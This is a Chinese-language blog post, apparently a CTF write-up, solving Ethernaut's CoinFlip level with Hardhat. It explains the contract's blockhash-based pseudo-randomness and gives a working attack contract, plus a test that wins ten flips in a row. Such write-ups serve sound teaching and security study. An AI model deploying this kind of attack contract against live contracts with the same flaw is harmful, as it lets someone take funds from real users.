用Hardhat闯关Ethernaut题3 -coinflip
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "hardhat/console.sol";
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
console.log("consecutiveWins: %s", consecutiveWins);
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
这里 uint256 coinFlip = blockValue.div(FACTOR);
原算结果50%是0,50%是1,FACTOR
是常量,那么我们需要知道blockValue
,也就是block.number
,就能提前得到答案。
解题思路:用攻击合约调用CoinFlip合约可以保证block.number相同(这笔交易会被打包在一个区块中),那么就能提前知道答案。
// SPDX-License-Identifier: MIT
pragma solidity 0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "hardhat/console.sol";
interface CoinFlipInteface {
function flip(bool _guess) external returns (bool);
}
contract AttackCoinFlip {
CoinFlipInteface coinflip;
uint256 public consecutiveWins;
using SafeMath for uint256;
uint256 FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinFlipAddress) public {
coinflip = CoinFlipInteface(_coinFlipAddress);
}
function attack() public {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = uint256(uint256(blockValue).div(FACTOR));
bool side = coinFlip == 1 ? true : false;
bool r = coinflip.flip(side);
consecutiveWins++;
console.log("consecutiveWins: %s", consecutiveWins);
}
}
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
describe("test", function () {
var CoinFlip;
var AttackCoinFlip;
it("init params", async function () {
[deployer, ...users] = await ethers.getSigners();
});
it("deploy", async function () {
const CoinFlipInstance = await ethers.getContractFactory("CoinFlip");
CoinFlip = await CoinFlipInstance.deploy();
const AttackCoinFlipInstance = await ethers.getContractFactory("AttackCoinFlip");
AttackCoinFlip = await AttackCoinFlipInstance.deploy(CoinFlip.address);
});
it("hack test", async function () {
for (let index = 0; index < 10; index++) {
await AttackCoinFlip.attack();
}
const num = await CoinFlip.consecutiveWins();
expect(num).to.equal(10);
});
});
Tips:这种是典型的伪随机,使用合约去攻击就能保证block.number
是相同的。
Github:hardhat测试仓库
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!